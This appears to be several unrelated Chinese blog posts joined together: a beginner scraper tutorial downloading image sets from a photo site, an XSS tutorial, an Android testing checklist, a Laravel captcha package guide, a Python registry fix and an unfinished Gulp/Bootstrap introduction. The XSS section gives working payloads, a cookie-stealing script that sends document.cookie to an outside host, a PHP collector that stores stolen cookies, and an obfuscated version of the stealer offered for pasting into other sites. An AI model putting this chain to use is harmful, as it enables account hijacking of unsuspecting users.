import requests ##导入requests from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup import os headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦） all_url = 'http://www.mzitu.com/all' ##开始的URL地址 start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是：http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释 #print(start_html.text) ##打印出start_html (请注意，concent是二进制的数据，一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text) Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦） #li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐！（find_all是查找指定网页内的所有标签的意思，find_all返回的是一个列表。） #for li in li_list: ##这个不解释了。看不懂的效小哥儿回去瞅瞅基础教程 #print(li) ##同上 all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签，然后查找所有的<a>标签。 # 页面更改 多了一个早期图片 需要删掉（小伙伴们 可以自己尝试处理一下这个页面） all_a.pop(0) # 上面是删掉列表的第一个元素 for a in all_a: title = a.get_text() #取出a标签的文本 href = a['href'] #取出a标签的href 属性 print(title, href)

就多了两行！很方便吧！！为什么这么写？自己去看官方文档啦！（我要全解释了，估计有些小哥儿官方文档都不会去看。这样很不好诶。） 来来！看看结果怎么样 我们来打印一下看看！ 哈哈 果然是我们想要的内容！我们已经找向目标前进了一半了！好啦前面已经把怎么实现的方法讲清楚了哦（如果你觉得什么地方有问题或者不清楚，在群里说说 我好改改）下面就要开始加快节奏了！！（篇幅长了 会被人骂的！） 上面我们找到了 图片的标题（暂时不管，这是后面用来创建文件夹的）和 图片页面的地址（这是我们这一步需要做的），需要做什么请参考最上面那个超简陋的流程图。 先查看一下图片页面有什么东西 你会发现一个页面只有一张图片啊！想要下载一套啊！ 你点一下面的 1 、2、3、4········ 你会发现地址栏里面的 URL 在变化啊！这就是我们的入手的地方了！ 页码在标签中，我们只需要获取最后一个页面的页码， 从 1 开始历遍，和我们上面获取的 URL 拼接在一起就是每张图片的页面地址啦！ 在页面的源代码搜一下标签 [](http://cdn.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028191747.png) 可以发现最后一个页面的标签是第二十一个标签，因为在 html 中标签是成对的，所以我需要查找的是第十一个标签（BeautifulSoup 是以开始的标签定位，而不是结尾的。开始的标签是这样<>；结束的标签是这样） 废话不多说上代码！ PS：下面的代码我已经把注释掉的删掉了，所以看起来和上面的不太一样。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

import requests ##导入requests from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup import os headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦） all_url = 'http://www.mzitu.com/all' ##开始的URL地址 start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是：http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释 Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦） all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签，然后查找所有的<a>标签。 # 页面更改 多了一个早期图片 需要删掉（小伙伴们 可以自己尝试处理一下这个页面） all_a.pop(0) # 上面是删掉列表的第一个元素 for a in all_a: title = a.get_text() #取出a标签的文本 href = a['href'] #取出a标签的href 属性 html = requests.get(href, headers=headers) ##上面说过了 html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了 max_span = html_Soup.find('div', class_='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。 for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧 page_url = href + '/' + str(page) ##同上 print(page_url) ##这个page_url就是每张图片的页面地址啦！但还不是实际地址！

好啦！运行一下试试！就是下面这样: 完美！！每个页面的地址都出来啦！！！ 下面开始找图片的实际地址啦！ 随意打开上面的地址地用 F12 调试工具试试！ 会发现我们需要的地址在

中的标签的 src 属性中。是不是很眼熟啊！知道怎么写了吧？下面上代码：

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

import requests ##导入requests from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup import os headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦） all_url = 'http://www.mzitu.com/all' ##开始的URL地址 start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是：http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释 Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦） all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签，然后查找所有的<a>标签。 # 页面更改 多了一个早期图片 需要删掉（小伙伴们 可以自己尝试处理一下这个页面） all_a.pop(0) # 上面是删掉列表的第一个元素 for a in all_a: title = a.get_text() #取出a标签的文本 href = a['href'] #取出a标签的href 属性 html = requests.get(href, headers=headers) ##上面说过了 html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了 max_span = html_Soup.find('div', class='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。 for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧 page_url = href + '/' + str(page) ##同上 img_html = requests.get(page_url, headers=headers) img_Soup = BeautifulSoup(img_html.text, 'lxml') img_url = img_Soup.find('div', class_='main-image').find('img')['src'] ##这三行上面都说过啦不解释了哦 print(img_url)

运行一下 完美！就是我们想要的东西，下面开始保存了哦！哈哈！妹子马上就可以到你碗里去了！ 首先我们要给每套图建一个文件夹，然后将下载的图片以 URL 的 xxxxx.jpg 中的 xxxxx 命名保存在这个文件夹里面。直接上代码了！

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32

import requests ##导入requests from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup import os headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦） all_url = 'http://www.mzitu.com/all' ##开始的URL地址 start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是：http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释 Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦） all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签，然后查找所有的<a>标签。 # 页面更改 多了一个早期图片 需要删掉（小伙伴们 可以自己尝试处理一下这个页面） all_a.pop(0) # 上面是删掉列表的第一个元素 for a in all_a: title = a.get_text() #取出a标签的文本 path = str(title).strip() ##去掉空格 os.makedirs(os.path.join("D:\mzitu", path)) ##创建一个存放套图的文件夹 os.chdir("D:\mzitu\\"+path) ##切换到上面创建的文件夹 href = a['href'] #取出a标签的href 属性 html = requests.get(href, headers=headers) ##上面说过了 html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了 max_span = html_Soup.find('div', class_='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。 for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧 page_url = href + '/' + str(page) ##同上 img_html = requests.get(page_url, headers=headers) img_Soup = BeautifulSoup(img_html.text, 'lxml') img_url = img_Soup.find('div', class_='main-image').find('img')['src'] ##这三行上面都说过啦不解释了哦 name = img_url[-9:-4] ##取URL 倒数第四至第九位 做图片的名字 img = requests.get(img_url, headers=headers) f = open(name+'.jpg', 'ab')##写入多媒体文件必须要 b 这个参数！！必须要！！ f.write(img.content) ##多媒体文件要是用conctent哦！ f.close()

好了！！来运行一下 哈哈哈完美！！！以上完毕！下面我们来整理一下代码，弄个函数什么的提示下逼格！加点提示什么的 首先我们上面 requests 一共使用了三次，我们写一个函数复用 （别怕！一点都不难）

1 2 3 4

def request(url): headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"} content = requests.get(url, headers=headers) return content

当调用 request 的时候会获取 URL 地址的网页然后返回获取到的 response （response 是啥？ 你理解成请求网页地址返回的源码就好了！ 注意：如果请求的是多媒体文件的话 response 返回的是二进制文件哦！） 哈哈！第一个就写好啦，简单吧！ 第二个是创建文件

1 2 3 4 5 6 7 8 9 10

def mkdir(self, path): path = path.strip() isExists = os.path.exists(os.path.join("D:\mzitu", path)) if not isExists: print(u'建了一个名字叫做', path, u'的文件夹！') os.makedirs(os.path.join("D:\mzitu", path)) return True else: print(u'名字叫做', path, u'的文件夹已经存在了！') return False

调用 mkdir 这个函数时，会在 D:\mzitu 文件下创建一个 path 这个参数的文件夹（是参数 不是 path 哦！就是你调用的时候传递什么参数给这个函数 就创建什么文件夹！这个函数可以存着，下载东西到本地 都可以用），另外一个好处就是在文件夹已经存在的情况下不会报错退出程序哦！ 不使用就会诶！ 好啦 剩下的我就一股脑的写出来了！ PS: 感谢Lucibriel的提醒！（因为我的程序就在 D 盘，所以疏忽了 程序没在 D 盘 os.chdir() 不能切换目录的问题、已经就改过来了；非常抱歉。）

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60

import requests from bs4 import BeautifulSoup import os class mzitu(): def __init__(self): self.headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"} def all_url(self, url): html = self.request(url)##调用request函数把套图地址传进去会返回给我们一个response all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a') # 页面更改 多了一个早期图片 需要删掉（小伙伴们 可以自己尝试处理一下这个页面） all_a.pop(0) # 上面是删掉列表的第一个元素 for a in all_a: title = a.get_text() print(u'开始保存：', title) ##加点提示不然太枯燥了 path = str(title).replace("?", '_') ##我注意到有个标题带有 ？ 这个符号Windows系统是不能创建文件夹的所以要替换掉 self.mkdir(path) ##调用mkdir函数创建文件夹！这儿path代表的是标题title哦！！！！！不要糊涂了哦！ href = a['href'] self.html(href) ##调用html函数把href参数传递过去！href是啥还记的吧？ 就是套图的地址哦！！不要迷糊了哦！ def html(self, href): ##这个函数是处理套图地址获得图片的页面地址 html = self.request(href) self.headers['referer'] = href max_span = BeautifulSoup(html.text, 'lxml').find('div', class_='pagenavi').find_all('span')[-2].get_text() for page in range(1, int(max_span) + 1): page_url = href + '/' + str(page) self.img(page_url) ##调用img函数 def img(self, page_url): ##这个函数处理图片页面地址获得图片的实际地址 img_html = self.request(page_url) img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src'] self.save(img_url) def save(self, img_url): ##这个函数保存图片 name = img_url[-9:-4] img = self.request(img_url) f = open(name + '.jpg', 'ab') f.write(img.content) f.close() def mkdir(self, path): ##这个函数创建文件夹 path = path.strip() isExists = os.path.exists(os.path.join("D:\mzitu", path)) if not isExists: print(u'建了一个名字叫做', path, u'的文件夹！') os.makedirs(os.path.join("D:\mzitu", path)) os.chdir(os.path.join("D:\mzitu", path)) ##切换到目录 return True else: print(u'名字叫做', path, u'的文件夹已经存在了！') return False def request(self, url): ##这个函数获取网页的response 然后返回 content = requests.get(url, headers=self.headers) return content Mzitu = mzitu() ##实例化 Mzitu.all_url('http://www.mzitu.com/all') ##给函数all_url传入参数 你可以当作启动爬虫（就是入口）

完美！！好啦！结束了！ 如果大家觉得还能看懂、还行的话 我后面在写点儿其他的。 给大家看看我的成果 最后感谢 mzitu.com 的站长。 后续几篇：

小白爬虫第二弹之健壮的小爬虫

小白爬虫第三弹之去重去重

小白爬虫第四弹之爬虫快跑（多进程+多线程）

小白进阶之 Scrapy 第一篇

小白进阶之 Scrapy 第二篇（登录篇）

Scrapy 分布式的前篇–让 redis 和 MongoDB 安全点

小白进阶之 Scrapy 第三篇基于 Scrapy-Redis 的分布式以及 cookies 池

什么是XSS

XSS 意为跨站脚本攻击(Cross Site Scripting)，缩写应该是CSS，但是已经有了一个层叠样式表(Cascading Style Sheets)，所以就叫它XSS了。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的，最常见的就是拿到攻击者的 Cookie 然后就可以登录别人的账号了。

XSS实例

最简单的形式就是从URL中直接插入恶意的 JavaScript 代码，最简单的实例如下：

1
2
3
4

<?php

$input = $_GET['info'];
echo $input;

服务端接收到了数据并执行了输出操作。这样的话就完全可以利用了，你可以向参数输入任意代码。 这个服务端的测试用例网址是 http://res.cuiqingcai.com/hack/xss1.php 你可以直接在参数后面加入 JavaScript 代码，例如 http://res.cuiqingcai.com/hack/xss1.php?info=%3Cscript%3Ealert(%27hello%27)%3C/script%3E%3C/script%3E) 直接打开便实现了最简单的 XSS 攻击，不过有的浏览器对此种攻击方式执行了过滤，例如 Chrome, Firefox。有的未执行过滤的浏览器是可以正常演示的。正常的结果应该是输出一个提示框。 接下来再演示另一种攻击方式。 测试网址是 http://res.cuiqingcai.com/hack/xss2.html 源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>TEST XSS</title>
</head>
<body>
    <script>
        function test() {
            var text = document.getElementById('text').value;
            var new_text = '<a href="' + text + '">test</a>';
            console.log(new_text);
            document.getElementById('content').innerHTML = new_text;
        }
    </script>
<div id="content"></div>
<input type="text" id="text" value="">
<input type="button" id="button" value="提交" onclick="test()">
</body>
</html>

现在有一个输入框，点击按钮之后会将输入框的内容提取出来，然后拼凑到超链接标签里。在这里也可以执行XSS攻击。 比如输入

1

javascript:void(0)" onclick=alert('ssss') "

提交之后会出现一个超链接，点击之后就可以执行你输入的代码，这次就弹出一个输入框。 当然你也可以插入一张图片，用 onerror 属性定义方法

1

"><img src="#" onerror=alert(/xss/)><meta class="

也可以达到同样的效果。 那么接下来来了，我们可以利用这个漏洞来盗取Cookie。 盗取Cookie可以这样，在本地执行一个JavaScript脚本，然后请求恶意网址，恶意网址的参数就是本网址通过 document.cookie 获取的本地cookie，这样 cookie 就保存在恶意网站上了。 这样的话，我们可以写一个脚本。

1
2
3
4

var img = document.createElement('img');
img.src = 'http://evil.cuiqingcai.com/cookie.php?url='+escape(window.location.href)+'&content='+escape(document.cookie);
img.style = 'display:none';
document.body.appendChild(img);

创建一张图片，然后图片的链接是一个恶意网址加当前的cookie，然后添加到网页里。这样，新增加的一个网页便会请求这个src，实现访问。 然后还是原来的实例，我们想在代码里执行这段JavaScript，那怎么办呢？直接创建一个script节点引用？ 先把这段js保存成 http://evil.cuiqingcai.com/cookie.js，试一下。 输入

1

javascript:void(0)"></a><script src="//evil.cuiqingcai.com/cookie.js"></script><a class="

测试之后，发现并不能行。原因是插入script标签后，并不会自动请求这个链接。 这样我们就需要再次借助图片这个神奇的东西来帮忙了。 输入

1

javascript:void(0)"></a><img src=# onerror="document.body.appendChild(document.createElement('script')).src='//evil.cuiqingcai.com/cookie.js'"><a class="

这里创建了一张图片，然后利用 onerror 方法插入了一个 script 标签，引入这个JS文件，这样就可以正常加载了。 嗯，那么这样就做到了将cookie传递给一个恶意网址。真正的盗取是在这里的。 那么 http://evil.cuiqingcai.com/cookie.php 的内容是什么？

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

<?php 

session_start();

$_SESSION['attempt'] = isset($_SESSION['attempt'])?$_SESSION['attempt']:0;

$_SESSION['attempt'] += 1;

if ($_SESSION['attempt'] >= 100) {
	die("Too Frequent");
}

$mysqli = new mysqli("localhost", "root", "", "evil");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

$url = $_GET['url'];
$content = $_GET['content'];

$time = date("Y-m-d H:i:s", time());

$items = explode(";", $content);

$js = '';

foreach ($items as $item) {
	$js .= ("document.cookie='".trim($item)."';");
}

if ($url && $content && $stmt = $mysqli->prepare("insert into cookies(url, content, time, js) values (?, ?, ?, ?)")) {
    $stmt->bind_param("ssss", $url, $content, $time, $js);
    $result = $stmt->execute();
    if ($result) {
    	echo "Collected Your Cookie <br>" ;
    }
}

echo 'url:', $url, '<br>', 'content:', $content;

其实就是获取了url，还有cookie内容，然后插入了数据库保存起来。 这样，每成功一个XSS，就可以成功捕获到某个网站的Cookie。

混淆加密

其实将刚才的cookie.js贴到任意的网站都有可能引起XSS，比如CSDN。 为了防止JavaScript被看出来，可以利用在线加密网站加密。http://tool.chinaz.com/js.aspx 比如上面一段代码就被加密成这样，粘贴到控制台，就能成功获取Cookie了。

1

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 0=1.8(\'0\');0.a=\'c://b.5.7/3.4?6=\'+2(j.i.l)+\'&k=\'+2(1.3);0.h=\'e:d\';1.g.f(0);',22,22,'img|document|escape|cookie|php|cuiqingcai|url|com|createElement|var|src|evil|http|none|display|appendChild|body|style|location|window|content|href'.split('|'),0,{}))

1、冒烟测试

使用的工具

Monkey

目标

（1） 编写adb.exe的Monkey命令。 （2） 通过logcat定位问题，保证软件的健壮性。

1.1 内存泄漏测试

关注app的启动时间，页面加载时间，主要功能占用的CPU，内存，流量，与同类产品比较是否有优势。工具：DDMS

1.2 联机调试测试

连接真机进入调试模式，测试业务流；通过Logcat记录个操作，将所有错误定位代码。

1.3 外网测试

要覆盖到WIFI\2G\3G、net\wap 、电信\移动\联网,所有组合进行测试

2、安装、卸载测试

2.1 安装卸载

app安装、卸载、启动、运行、清除缓存/数据运行看看是否正常

2.2 平台支持

是否支持豌豆荚、91等主流辅助工具，及是否和第三方软件兼容。

3、在线升级测试

3.1 在线升级安装及使用测试

（1）验证数字签名； （2）升级后是否可以正常使用； （3）在线夸版本升级。

4、业务功能测试

4.1 业务逻辑测试

运行app时，是否可以接电话，发短信，锁屏，充电等功能

4.2 功能点测试

检查功能点是否正常，是否满足需求文档

4.3 关联性测试

安装app后，是否和pc机连接，交互正常

5、稳定性及异常性测试

5.1 交互性测试

手机被多种打扰，例如，打开微信，聊QQ，听音乐等，app是否运行正常；待机，插拔数据线等操作

5.2 异常性测试

断点、断网异常情况，是否稳定

6、性能测试

6.1 基准性能测试

主要是写脚本，是否可以进行压力测试；在不同网络的情况下，运行速度变化情况。

6.2 大数据量测试

保证手机更新大数据量程序成功率

7、界面易用性测试

7.1 界面与交互性测试

符合安卓交互规范；用户体验良好；使用方便。快捷

7.2 可用性测试

可用性强，操作简单；使用操作错误率低；完成任务使用时间短

8、自动化测试

CTS工具，主要是基于Androidinstrumentation和JUnit测试原理推单元测试用例； Monkey用来对UI进行压力测试，伪随机的模拟用户的按键输入，触摸屏输入，手势输入等； ASE工具，是调用Android的功能，从而定制一些测试，比如打电话，发短信，浏览网页等； Robotium工具，提供了模仿用户操作行为的API，比如在某个控件上点击，输入Text等等； MonkeyRunner工具，是调用一个Python脚本去安装一个Android应用程序或测试包，运行它，向它发送模拟按键，截取界面图片等 QQ交流群：369353583

简述

在网站开发中使用频率最高的工具之一便是验证码，验证码在此也是多种多样，不过简单的图片验证码已经可以被机器识别，极验验证码提供了一个安全可靠的滑动验证码体系，让网站开发更加安全。 先感受一下这种验证码的魅力 极验 接入极验验证码的过程并没有想象中的那么简单，如果想在Laravel5中使用，可以使用Laravel5的极验验证码包 LaravelGeetest 支持 Laravel 5.0 及以上版本。 地址： https://github.com/Germey/LaravelGeetest 建议阅读原项目的README文件，最新的更新都会在README中说明，而且用法介绍是最全面的。 下面简单介绍一下该工具包的使用。

注册极验账号

首先需要到 极验 网站注册账号，然后新建一个应用，获取到 ID 和 KEY，留作备用，后台管理页面如下。

安装

在项目地址输入命令

1

$ composer require germey/geetest

就可以完成该包的安装 或者可以在 composer.json 的 require 中添加

1

"germey/geetest": "~2.0"

然后执行

1

$ composer update

同样可以完成该包的安装。

配置

注册 ServiceProvider，在 config/app.php 的 providers 中添加

1

Germey\Geetest\GeetestServiceProvider::class

在 aliases 中添加

1

'Geetest' => Germey\Geetest\Geetest::class

然后执行

1

$ php artisan vendor:publish

会生成一个配置文件，config/geetest.php 和视图文件views/vendor/geetest，视图文件中你可以自定义配置，比如修改一下验证失败后的alert函数，修改为你想要的提示toast等。

使用

首先把刚才拿到的 ID 和 KEY 配置到 .env 文件中，因为这两个算私密内容，配置到 .env 文件中可以保证安全性。在 .env 中写入如下两行。

1
2

GEETEST_ID=0f1097bef7xxxxxx9afdeced970c63e4
GEETEST_KEY=c070f0628xxxxxxe68e138b55c56fb3b

其中 ID 和 KEY 换成你自己的。 然后，在任意的视图里，我们只需要调用

1

{!! Geetest::render() !!}

就可以得到验证码了。 比如我们最常用的表单里

1
2
3
4
5
6

<form action="/" method="post">
    <input name="_token" type="hidden" value="{{ csrf_token() }}">
    <input type="text" name="name" placeholder="name">
    {!! Geetest::render() !!}
    <input type="submit" value="submit">
</form>

通过如上代码就可以完成验证码的生成了，样例如下： 另外还可以指定验证码的另外两种样式。

1
2

{!! Geetest::render('embed') !!}
{!! Geetest::render('popup') !!}

以上两个方法分别会生成嵌入式和弹出式验证码。如果没有参数，默认是浮动式。 关于这几种样式，可以参考 官网 这样，就能保证必须完成验证码操作才能提交表单。 好，至此，你就可以完成最基础的验证码配置了。

服务端验证

如果你完成了上面的部分，那么恭喜你已经成功了一大半了，可以到此为止，不过如果想更加安全，请继续往下看。 在此是服务端二次验证，在上面讲的方法是客户端的验证，但是这并不能代表绝对安全，一些恶意用户依然可以通过操作JS完成表单的提交，所以服务端我们需要再次验证一下。 在表单提交的时候，如果你用了极验，那么就会额外提交三个字段，分别是 geetest_challenge, geetest_validate, geetest_seccode, 利用这三个字段，我们可以重新核对操作是否合法。 在这里这个包又做了封装，提供了一条验证规则。 所以验证时我们只需要利用验证规则即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

use Illuminate\Http\Request;

class BaseController extends Controller 
{
  /**
   * @param Request $request
   */
  public function postValidate(Request $request)
  {
    $result = $this->validate($request, [
      'geetest_challenge' => 'geetest',
    ], [
      'geetest' => config('geetest.server_fail_alert')
    ]);
    if ($request) {
      return 'success';
    }
  }
}

利用 validate 方法，通过验证其中一个字段 geetest_challenge, 验证规则 geetest 就可以完成服务端的验证。这样就更保证了安全性。 在这里注意，由于多提交了几个字段，如果想执行 ORM 的批量插入修改操作时，记得在 Model 里面屏蔽这几个字段

1

protected $guarded = ['geetest_challenge', 'geetest_validate', 'geetest_seccode'];

通过以上方法，就完成了服务端验证。 关于更多使用方法，可以参考 README

语言设置

验证码提供五种语言，简体中文，繁体中文，英文，日文，韩文。 可以通过 config/geetest.php 中设置 lang 字段。

• zh-cn (简体中文)
• zh-tw (繁体中文)
• en (英文)
• ja (日文)
• ko (韩文)

修改提示语

在这里有两个提示语，client_fail_alert 和 server_fail_alert ，分别是前端和后台（客户端和服务器）两边的提示语，可以通过设置 config/geetest.php 设置。

关于作者

静觅（崔庆才） 个人主页：http://cuiqingcai.com

不能在注册表中识别python2.7 新建一个register.py 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

import sys
 
from _winreg import *
 
# tweak as necessary
version = sys.version[:3]
installpath = sys.prefix
 
regpath = "SOFTWARE\\Python\\Pythoncore\\%s\\" % (version)
installkey = "InstallPath"
pythonkey = "PythonPath"
pythonpath = "%s;%s\\Lib\\;%s\\DLLs\\" % (
    installpath, installpath, installpath
)
 
def RegisterPy():
    try:
        reg = OpenKey(HKEY_CURRENT_USER, regpath)
    except EnvironmentError as e:
        try:
            reg = CreateKey(HKEY_CURRENT_USER, regpath)
            SetValue(reg, installkey, REG_SZ, installpath)
            SetValue(reg, pythonkey, REG_SZ, pythonpath)
            CloseKey(reg)
        except:
            print "*** Unable to register!"
            return
        print "--- Python", version, "is now registered!"
        return
    if (QueryValue(reg, installkey) == installpath and
        QueryValue(reg, pythonkey) == pythonpath):
        CloseKey(reg)
        print "=== Python", version, "is already registered!"
        return
    CloseKey(reg)
    print "*** Unable to register!"
    print "*** You probably have another Python installation!"
 
if __name__ == "__main__":
    RegisterPy()

用Python 运行register.py后就能识别python2.7了 代码来自：http://tech.valgog.com/2010/01/after-installing-64-bit-windows-7-at.html

BootStrap

BootStrap 是一个前端CSS框架，它提供了一些便捷的组件方便我们快速构建前端页面，目前已经到了版本4，版本4是用 Sass 编写的，版本3是由 Less 编写的，后来增加了 Sass 版本。这说明了什么？BootStrap 已经向 Sass靠近了，个人感觉 Sass 比 Less 更为强大，具有更丰富的语法功能。 所以，Sass 将会成为比 Less 更为主流的语言。 目前常用的 BootStrap 版本是3，在官网也提供了相关 Sass 版本的下载。 在此提供官网下载链接和 Sass 项目 GitHub 地址。 BootStrap BootStrap-Sass 在 BootStrap 的下载版本中，可以看到有三个。一个是编译好的 JS，CSS 文件，可以直接拿来用，方便快捷就可以下载这个来用。第二个是 Less 源码版本，你可以自己定义 Less 文件，在项目基础上继续用 Less 开发，编译成需要的 CSS 文件。第三个是后来新增的 Sass 版本，本节就以它为例来说明利用 Gulp 编译 BootStrap-Sass 的过程，目的一在于熟悉 Gulp 自动化编译 Sass 的流程，目的二在于了解前端自动化的工作原理。

Gulp

说完 BootStrap，我们再说下 Gulp，基于 Node.js。它干嘛的呢？就是一个前端自动化工具，什么用处？比如它可以编译 Less，Sass 生成到指定目录文件为 CSS，生成对应 map 文件，可以生成 JavaScript 的 map 文件，自动更新 html 中的 JS，CSS 引用路径，合并多个 JS，CSS 文件为统一整体，最小化压缩 JS，CSS 文件等等，最终目的呢？自动化替代重复劳动，提高效率。 说到 Gulp，就不得不提到它的竞争对手 Grunt，它具有和 Gulp 几乎一样的功能，然而 Grunt 有几个缺点，比如插件职责不明确，产生大量临时文件，语法繁琐等等。相比之下，Gulp插件职责明确，基于流式，不会产生临时文件，语法简单。冲着这几点，果断选择 Gulp。 利用 Gulp，我们就可以在项目中定义一个 gulpfile.babel.js 里面写入需要执行的任务，命令行执行 gulp 命令就可以完成自动化，一些重复的无聊的工作就不要你来做了。 Gulp中文网

ES6

说完 Gulp，然后就属 ES6 了，它是 ECMAScript 6 的简称，是 JavaScript 的一个新的版本类型，由于是 2015年发布的，所以也可以叫它 ES2015。我们之前编的 JavaScript 大多数是基于ES5或之前的版本，在 ES6 的基础上增加了许多新的语法特性，比如 Class，let，const 等等。 在 ES5 中，Gulp 的执行文件叫做 gulpfile.js，到了 ES6中，它就叫做 gulpfile.babel.js 了，多了一个 badel，那 babel 又是什么？ 关于 ES6 的新特性预览可以看 ES6

Babel

Babel 其实是一个 JavaScript 编译器，支持 ES6，你可以用新型的 ES6 语法来编写你的 JavaScript，Babel 会为你生成对应的 ES5 的 JavaScript。乍看之下并没有什么关系，所以在这里你可以把 babel 看作 ES6 的代名词，在 Gulp 中，新型的 ES6 语法的 JavaScript 的 gulpfile 名字命名为 gulpfile.babel.js。 Babel

NPM

有一点 Node.js 基础的想必都知道这一个东西吧，Node Package Manager，Node.js 包管理器，利用它你可以安装 Node.js 的相关包，其中包括 Gulp。可以全局安装，加个 -g 参数，可以局部安装，需要路径下有个 package.json。 NPM怎样安装？安装了 Node.js 就好了。 Node.js 如果觉得速度慢，可以安装 CNPM，镜像源来源非国外，是淘宝的一个镜像源，速度快。 CMPM

Bower

在这里还需要用到一个工具 bower，类似 NPM，算是前端的一些组件管理工具，一些前端库比如 jquery，bootstrap 等等都可以用 bower 这个工具来下载，需要在根目录下建立一个 bower.json 和 .bowerrc 文件。利用 bower 我们就可以方便地管理前端的工具包了，不用我们去手动下载复制粘贴之类的。

WebStorm

在这再安利一个 IDE 吧，WebStorm，JetBrains公司出的一款强大又良心的编写前端的 IDE，支持各种插件，具有强大的语法提示，支持 JsHint 等代码检查，集成了终端，Git 等等强大的工具，Web 开发不二选择，推荐最新版本。 WebStorm

准备工作

扯完以上东西（其实还有好多没有扯完），让我们进入正题吧，正题是什么？哦没错，那就是

